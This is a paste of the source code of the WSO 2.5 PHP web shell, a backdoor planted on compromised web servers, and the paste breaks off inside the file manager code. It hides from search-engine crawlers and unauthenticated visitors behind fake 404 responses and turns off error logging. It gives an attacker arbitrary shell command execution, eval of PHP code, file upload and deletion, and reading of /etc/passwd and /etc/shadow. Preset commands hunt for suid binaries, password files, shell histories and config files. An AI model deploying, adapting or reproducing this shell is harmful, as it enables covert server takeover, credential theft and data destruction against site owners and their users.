· 10 years ago · Mar 16, 2016, 11:27 AM
1<?php if (!isset($_COOKIE['6982e3ffc76393da7bfeb64ddba286c5'])) {header('HTTP/1.0 404 Not Found');exit;} ?> <?php
2$auth_pass = "297dbe7699dcfa60609bf9e667e2e4dc";
3$color = "#df5";
4$default_action = 'FilesMan';
5$default_use_ajax = true;
6$default_charset = 'Windows-1251';
7
8if(!empty($_SERVER['HTTP_USER_AGENT'])) {
9$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
10if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
11header('HTTP/1.0 404 Not Found');
12exit;
13}
14}
15
16@ini_set('error_log',NULL);
17@ini_set('log_errors',0);
18@ini_set('max_execution_time',0);
19@set_time_limit(0);
20@set_magic_quotes_runtime(0);
21@define('WSO_VERSION', '2.5');
22
23if(get_magic_quotes_gpc()) {
24function WSOstripslashes($array) {
25return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
26}
27$_POST = WSOstripslashes($_POST);
28$_COOKIE = WSOstripslashes($_COOKIE);
29}
30
31function wsoLogin() {
32die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
33}
34
35function WSOsetcookie($k, $v) {
36$_COOKIE[$k] = $v;
37setcookie($k, $v);
38}
39
40if(!empty($auth_pass)) {
41if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
42WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
43
44if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
45wsoLogin();
46}
47
48if(strtolower(substr(PHP_OS,0,3)) == "win")
49$os = 'win';
50else
51$os = 'nix';
52
53$safe_mode = @ini_get('safe_mode');
54if(!$safe_mode)
55error_reporting(0);
56
57$disable_functions = @ini_get('disable_functions');
58$home_cwd = @getcwd();
59if(isset($_POST['c']))
60@chdir($_POST['c']);
61$cwd = @getcwd();
62if($os == 'win') {
63$home_cwd = str_replace("\\", "/", $home_cwd);
64$cwd = str_replace("\\", "/", $cwd);
65}
66if($cwd[strlen($cwd)-1] != '/')
67$cwd .= '/';
68
69if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
70$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
71
72if($os == 'win')
73$aliases = array(
74"List Directory" => "dir",
75"Find index.php in current dir" => "dir /s /w /b index.php",
76"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
77"Show active connections" => "netstat -an",
78"Show running services" => "net start",
79"User accounts" => "net user",
80"Show computers" => "net view",
81"ARP Table" => "arp -a",
82"IP Configuration" => "ipconfig /all"
83);
84else
85$aliases = array(
86"List dir" => "ls -lha",
87"list file attributes on a Linux second extended file system" => "lsattr -va",
88"show opened ports" => "netstat -an | grep -i listen",
89"process status" => "ps aux",
90"Find" => "",
91"find all suid files" => "find / -type f -perm -04000 -ls",
92"find suid files in current dir" => "find . -type f -perm -04000 -ls",
93"find all sgid files" => "find / -type f -perm -02000 -ls",
94"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
95"find config.inc.php files" => "find / -type f -name config.inc.php",
96"find config* files" => "find / -type f -name \"config*\"",
97"find config* files in current dir" => "find . -type f -name \"config*\"",
98"find all writable folders and files" => "find / -perm -2 -ls",
99"find all writable folders and files in current dir" => "find . -perm -2 -ls",
100"find all service.pwd files" => "find / -type f -name service.pwd",
101"find service.pwd files in current dir" => "find . -type f -name service.pwd",
102"find all .htpasswd files" => "find / -type f -name .htpasswd",
103"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
104"find all .bash_history files" => "find / -type f -name .bash_history",
105"find .bash_history files in current dir" => "find . -type f -name .bash_history",
106"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
107"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
108"Locate" => "",
109"locate httpd.conf files" => "locate httpd.conf",
110"locate vhosts.conf files" => "locate vhosts.conf",
111"locate proftpd.conf files" => "locate proftpd.conf",
112"locate psybnc.conf files" => "locate psybnc.conf",
113"locate my.conf files" => "locate my.conf",
114"locate admin.php files" =>"locate admin.php",
115"locate cfg.php files" => "locate cfg.php",
116"locate conf.php files" => "locate conf.php",
117"locate config.dat files" => "locate config.dat",
118"locate config.php files" => "locate config.php",
119"locate config.inc files" => "locate config.inc",
120"locate config.inc.php" => "locate config.inc.php",
121"locate config.default.php files" => "locate config.default.php",
122"locate config* files " => "locate config",
123"locate .conf files"=>"locate '.conf'",
124"locate .pwd files" => "locate '.pwd'",
125"locate .sql files" => "locate '.sql'",
126"locate .htpasswd files" => "locate '.htpasswd'",
127"locate .bash_history files" => "locate '.bash_history'",
128"locate .mysql_history files" => "locate '.mysql_history'",
129"locate .fetchmailrc files" => "locate '.fetchmailrc'",
130"locate backup files" => "locate backup",
131"locate dump files" => "locate dump",
132"locate priv files" => "locate priv"
133);
134
135function wsoHeader() {
136if(empty($_POST['charset']))
137$_POST['charset'] = $GLOBALS['default_charset'];
138global $color;
139echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title>
140<style>
141body{background-color:#444;color:#e1e1e1;}
142body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
143table.info{ color:#fff;background-color:#222; }
144span,h1,a{ color: $color !important; }
145span{ font-weight: bolder; }
146h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
147div.content{ padding: 5px;margin-left:5px;background-color:#333; }
148a{ text-decoration:none; }
149a:hover{ text-decoration:underline; }
150.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
151.bigarea{ width:100%;height:300px; }
152input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
153form{ margin:0px; }
154#toolsTbl{ text-align:center; }
155.toolsInp{ width: 300px }
156.main th{text-align:left;background-color:#5e5e5e;}
157.main tr:hover{background-color:#5e5e5e}
158.l1{background-color:#444}
159.l2{background-color:#333}
160pre{font-family:Courier,Monospace;}
161</style>
162<script>
163var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
164var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
165var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
166var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
167var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
168var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
169var d = document;
170function set(a,c,p1,p2,p3,charset) {
171if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
172if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
173if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
174if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
175if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
176if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
177}
178function g(a,c,p1,p2,p3,charset) {
179set(a,c,p1,p2,p3,charset);
180d.mf.submit();
181}
182function a(a,c,p1,p2,p3,charset) {
183set(a,c,p1,p2,p3,charset);
184var params = 'ajax=true';
185for(i=0;i<d.mf.elements.length;i++)
186params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
187sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
188}
189function sr(url, params) {
190if (window.XMLHttpRequest)
191req = new XMLHttpRequest();
192else if (window.ActiveXObject)
193req = new ActiveXObject('Microsoft.XMLHTTP');
194if (req) {
195req.onreadystatechange = processReqChange;
196req.open('POST', url, true);
197req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
198req.send(params);
199}
200}
201function processReqChange() {
202if( (req.readyState == 4) )
203if(req.status == 200) {
204var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
205var arr=reg.exec(req.responseText);
206eval(arr[2].substr(0, arr[1]));
207} else alert('Request error!');
208}
209</script>
210<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
211<form method=post name=mf style='display:none;'>
212<input type=hidden name=a>
213<input type=hidden name=c>
214<input type=hidden name=p1>
215<input type=hidden name=p2>
216<input type=hidden name=p3>
217<input type=hidden name=charset>
218</form>";
219$freeSpace = @diskfreespace($GLOBALS['cwd']);
220$totalSpace = @disk_total_space($GLOBALS['cwd']);
221$totalSpace = $totalSpace?$totalSpace:1;
222$release = @php_uname('r');
223$kernel = @php_uname('s');
224$explink = 'http://exploit-db.com/search/?action=search&filter_description=';
225if(strpos('Linux', $kernel) !== false)
226$explink .= urlencode('Linux Kernel ' . substr($release,0,6));
227else
228$explink .= urlencode($kernel . ' ' . substr($release,0,3));
229if(!function_exists('posix_getegid')) {
230$user = @get_current_user();
231$uid = @getmyuid();
232$gid = @getmygid();
233$group = "?";
234} else {
235$uid = @posix_getpwuid(posix_geteuid());
236$gid = @posix_getgrgid(posix_getegid());
237$user = $uid['name'];
238$uid = $uid['uid'];
239$group = $gid['name'];
240$gid = $gid['gid'];
241}
242
243$cwd_links = '';
244$path = explode("/", $GLOBALS['cwd']);
245$n=count($path);
246for($i=0; $i<$n-1; $i++) {
247$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
248for($j=0; $j<=$i; $j++)
249$cwd_links .= $path[$j].'/';
250$cwd_links .= "\")'>".$path[$i]."/</a>";
251}
252
253$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
254$opt_charsets = '';
255foreach($charsets as $item)
256$opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
257
258$m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
259if(!empty($GLOBALS['auth_pass']))
260$m['Logout'] = 'Logout';
261$m['Self remove'] = 'SelfRemove';
262$menu = '';
263foreach($m as $k => $v)
264$menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
265
266$drives = "";
267if($GLOBALS['os'] == 'win') {
268foreach(range('c','z') as $drive)
269if(is_dir($drive.':\\'))
270$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
271}
272echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
273. '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
274. ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
275. '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
276. '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
277}
278
279function wsoFooter() {
280$is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
281echo "
282</div>
283<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
284<tr>
285<td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
286<td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
287</tr><tr>
288<td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
289<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
290</tr><tr>
291<td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
292<td><form method='post' ENCTYPE='multipart/form-data'>
293<input type=hidden name=a value='FilesMAn'>
294<input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
295<input type=hidden name=p1 value='uploadFile'>
296<input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
297<span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
298</tr></table></div></body></html>";
299}
300
301if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
302function posix_getpwuid($p) {return false;} }
303if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
304function posix_getgrgid($p) {return false;} }
305
306function wsoEx($in) {
307$out = '';
308if (function_exists('exec')) {
309@exec($in,$out);
310$out = @join("\n",$out);
311} elseif (function_exists('passthru')) {
312ob_start();
313@passthru($in);
314$out = ob_get_clean();
315} elseif (function_exists('system')) {
316ob_start();
317@system($in);
318$out = ob_get_clean();
319} elseif (function_exists('shell_exec')) {
320$out = shell_exec($in);
321} elseif (is_resource($f = @popen($in,"r"))) {
322$out = "";
323while(!@feof($f))
324$out .= fread($f,1024);
325pclose($f);
326}
327return $out;
328}
329
330function wsoViewSize($s) {
331if (is_int($s))
332$s = sprintf("%u", $s);
333
334if($s >= 1073741824)
335return sprintf('%1.2f', $s / 1073741824 ). ' GB';
336elseif($s >= 1048576)
337return sprintf('%1.2f', $s / 1048576 ) . ' MB';
338elseif($s >= 1024)
339return sprintf('%1.2f', $s / 1024 ) . ' KB';
340else
341return $s . ' B';
342}
343
344function wsoPerms($p) {
345if (($p & 0xC000) == 0xC000)$i = 's';
346elseif (($p & 0xA000) == 0xA000)$i = 'l';
347elseif (($p & 0x8000) == 0x8000)$i = '-';
348elseif (($p & 0x6000) == 0x6000)$i = 'b';
349elseif (($p & 0x4000) == 0x4000)$i = 'd';
350elseif (($p & 0x2000) == 0x2000)$i = 'c';
351elseif (($p & 0x1000) == 0x1000)$i = 'p';
352else $i = 'u';
353$i .= (($p & 0x0100) ? 'r' : '-');
354$i .= (($p & 0x0080) ? 'w' : '-');
355$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
356$i .= (($p & 0x0020) ? 'r' : '-');
357$i .= (($p & 0x0010) ? 'w' : '-');
358$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
359$i .= (($p & 0x0004) ? 'r' : '-');
360$i .= (($p & 0x0002) ? 'w' : '-');
361$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
362return $i;
363}
364
365function wsoPermsColor($f) {
366if (!@is_readable($f))
367return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
368elseif (!@is_writable($f))
369return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
370else
371return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
372}
373
374function wsoScandir($dir) {
375if(function_exists("scandir")) {
376return scandir($dir);
377} else {
378$dh = opendir($dir);
379while (false !== ($filename = readdir($dh)))
380$files[] = $filename;
381return $files;
382}
383}
384
385function wsoWhich($p) {
386$path = wsoEx('which ' . $p);
387if(!empty($path))
388return $path;
389return false;
390}
391
392function actionSecInfo() {
393wsoHeader();
394echo '<h1>Server security information</h1><div class=content>';
395function wsoSecParam($n, $v) {
396$v = trim($v);
397if($v) {
398echo '<span>' . $n . ': </span>';
399if(strpos($v, "\n") === false)
400echo $v . '<br>';
401else
402echo '<pre class=ml1>' . $v . '</pre>';
403}
404}
405
406wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
407if(function_exists('apache_get_modules'))
408wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
409wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
410wsoSecParam('Open base dir', @ini_get('open_basedir'));
411wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
412wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
413wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
414$temp=array();
415if(function_exists('mysql_get_client_info'))
416$temp[] = "MySql (".mysql_get_client_info().")";
417if(function_exists('mssql_connect'))
418$temp[] = "MSSQL";
419if(function_exists('pg_connect'))
420$temp[] = "PostgreSQL";
421if(function_exists('oci_connect'))
422$temp[] = "Oracle";
423wsoSecParam('Supported databases', implode(', ', $temp));
424echo '<br>';
425
426if($GLOBALS['os'] == 'nix') {
427wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
428wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
429wsoSecParam('OS version', @file_get_contents('/proc/version'));
430wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
431if(!$GLOBALS['safe_mode']) {
432$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
433$danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
434$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
435echo '<br>';
436$temp=array();
437foreach ($userful as $item)
438if(wsoWhich($item))
439$temp[] = $item;
440wsoSecParam('Userful', implode(', ',$temp));
441$temp=array();
442foreach ($danger as $item)
443if(wsoWhich($item))
444$temp[] = $item;
445wsoSecParam('Danger', implode(', ',$temp));
446$temp=array();
447foreach ($downloaders as $item)
448if(wsoWhich($item))
449$temp[] = $item;
450wsoSecParam('Downloaders', implode(', ',$temp));
451echo '<br/>';
452wsoSecParam('HDD space', wsoEx('df -h'));
453wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
454echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
455if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
456$temp = "";
457for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
458$uid = @posix_getpwuid($_POST['p2']);
459if ($uid)
460$temp .= join(':',$uid)."\n";
461}
462echo '<br/>';
463wsoSecParam('Users', $temp);
464}
465}
466} else {
467wsoSecParam('OS Version',wsoEx('ver'));
468wsoSecParam('Account Settings',wsoEx('net accounts'));
469wsoSecParam('User Accounts',wsoEx('net user'));
470}
471echo '</div>';
472wsoFooter();
473}
474
475function actionPhp() {
476if(isset($_POST['ajax'])) {
477WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
478ob_start();
479eval($_POST['p1']);
480$temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
481echo strlen($temp), "\n", $temp;
482exit;
483}
484if(empty($_POST['ajax']) && !empty($_POST['p1']))
485WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
486
487wsoHeader();
488if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
489echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
490ob_start();
491phpinfo();
492$tmp = ob_get_clean();
493$tmp = preg_replace(array (
494'!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
495'!td, th {(.*)}!msiU',
496'!<img[^>]+>!msiU',
497), array (
498'',
499'.e, .v, .h, .h th {$1}',
500''
501), $tmp);
502echo str_replace('<h1','<h2', $tmp) .'</div><br>';
503}
504echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
505echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
506if(!empty($_POST['p1'])) {
507ob_start();
508eval($_POST['p1']);
509echo htmlspecialchars(ob_get_clean());
510}
511echo '</pre></div>';
512wsoFooter();
513}
514
515function actionFilesMan() {
516if (!empty ($_COOKIE['f']))
517$_COOKIE['f'] = @unserialize($_COOKIE['f']);
518
519if(!empty($_POST['p1'])) {
520switch($_POST['p1']) {
521case 'uploadFile':
522if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
523echo "Can't upload file!";
524break;
525case 'mkdir':
526if(!@mkdir($_POST['p2']))
527echo "Can't create new dir";
528break;
529case 'delete':
530function deleteDir($path) {
531$path = (substr($path,-1)=='/') ? $path:$path.'/';
532$dh = opendir($path);
533while ( ($item = readdir($dh) ) !== false) {
534$item = $path.$item;
535if ( (basename($item) == "..") || (basename($item) == ".") )
536continue;
537$type = filetype($item);
538if ($type == "dir")
539deleteDir($item);
540else
541@unlink($item);
542}
543closedir($dh);
544@rmdir($path);
545}
546if(is_array(@$_POST['f']))
547foreach($_POST['f'] as $f) {
548if($f == '..')
549continue;
550$f = urldecode($f);
551if(is_dir($f))
552deleteDir($f);
553else
554@unlink($f);
555}
556break;
557case 'paste':
558if($_COOKIE['act'] == 'copy') {
559function copy_paste($c,$s,$d){
560if(is_dir($c.$s)){
561mkdir($d.$s);
562$h = @opendir($c.$s);
563while (($f = @readdir($h)) !== false)
564if (($f != ".") and ($f != ".."))
565copy_paste($c.$s.'/',$f, $d.$s.'/');
566} elseif(is_file($c.$s))
567@copy($c.$s, $d.$s);
568}
569foreach($_COOKIE['f'] as $f)
570copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
571} elseif($_COOKIE['act'] == 'move') {
572function move_paste($c,$s,$d){
573if(is_dir($c.$s)){
574mkdir($d.$s);
575$h = @opendir($c.$s);
576while (($f = @readdir($h)) !== false)
577if (($f != ".") and ($f != ".."))
578copy_paste($c.$s.'/',$f, $d.$s.'/');
579} elseif(@is_file($c.$s))
580@copy($c.$s, $d.$s);
581}
582foreach($_COOKIE['f'] as $f)
583@rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
584} elseif($_COOKIE['act'] == 'zip') {
585if(class_exists('ZipArchive')) {
586$zip = new ZipArchive();
587if ($zip->open($_POST['p2'], 1)) {
588chdir($_COOKIE['c']);
589foreach($_COOKIE['f'] as $f) {
590if($f == '..')
591continue;
592if(@is_file($_COOKIE['c'].$f))
593$zip->addFile($_COOKIE['c'].$f, $f);
594elseif(@is_dir($_COOKIE['c'].$f)) {
595$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
596foreach ($iterator as $key=>$value) {
597$zip->addFile(realpath($key), $key);
598}
599}
600}
601chdir($GLOBALS['cwd']);
602$zip->close();
603}
604}
605} elseif($_COOKIE['act'] == 'unzip') {
606if(class_exists('ZipArchive')) {
607$zip = new ZipArchive();
608foreach($_COOKIE['f'] as $f) {
609if($zip->open($_COOKIE['c'].$f)) {
610$zip->extractTo($GLOBALS['cwd']);
611$zip->close();
612}
613}
614}
615} elseif($_COOKIE['act'] == 'tar') {
616chdir($_COOKIE['c']);
617$_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
618wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
619chdir($GLOBALS['cwd']);
620}
621unset($_COOKIE['f']);
622setcookie('f', '', time() - 3600);
623break;
624default:
625if(!empty($_POST['p1'])) {
626WSOsetcookie('act', $_POST['p1']);
627WSOsetcookie('f', serialize(@$_POST['f']));
628WSOsetcookie('c', @$_POST['c']);
629}
630break;
631}
632}
633wsoHeader();
634echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
635$dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
636if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
637global $sort;
638$sort = array('name', 1);
639if(!empty($_POST['p1'])) {
640if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
641$sort = array($match[1], (int)$match[2]);
642}
643echo "<script>
644function sa() {
645for(i=0;i<d.files.elements.length;i++)
646if(d.files.elements[i].type == 'checkbox')
647d.files.elements[i].checked = d.files.elements[0].checked;
648}
649</script>
650<table width='100%' class='main' cellspacing='0' cellpadding='2'>
651<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
652$dirs = $files = array();
653$n = count($dirContent);
654for($i=0;$i<$n;$i++) {
655$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
656$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
657$tmp = array('name' => $dirContent[$i],
658'path' => $GLOBALS['cwd'].$dirContent[$i],
659'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
660'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
661'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
662'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
663'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
664);
665if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
666$files[] = array_merge($tmp, array('type' => 'file'));
667elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
668$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
669elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i]))
670$dirs[] = array_merge($tmp, array('type' => 'dir'));
671}
672$GLOBALS['sort'] = $sort;
673function wsoCmp($a, $b) {
674if($GLOBALS['sort'][0] != 'size')
675return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
676else
677return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
678}
679usort($files, "wsoCmp");
680usort($dirs, "wsoCmp");
681$files = array_merge($dirs, $files);
682$l = 0;
683foreach($files as $f) {
